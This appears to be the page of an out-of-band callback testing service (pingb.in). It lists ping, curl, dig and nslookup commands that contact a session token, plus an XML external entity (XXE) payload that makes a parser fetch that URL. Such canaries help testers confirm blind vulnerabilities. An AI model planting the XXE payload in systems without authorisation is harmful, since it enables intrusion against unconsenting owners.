$ ping -c1 -p 00d9b2f85528a5076fefd0973460c200 pingb.in
 
$ curl pingb.in/p/d9b2f85528a5076fefd0973460c2
 
$ dig d9b2f85528a5076fefd0973460c2 @pingb.in
 
$ dig d9b2f85528a5076fefd0973460c2.ns.pingb.in
 
C:\> nslookup d9b2f85528a5076fefd0973460c2 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/d9b2f85528a5076fefd0973460c2">]>
    <foo>&xxe;</foo>
 
Waiting for ping...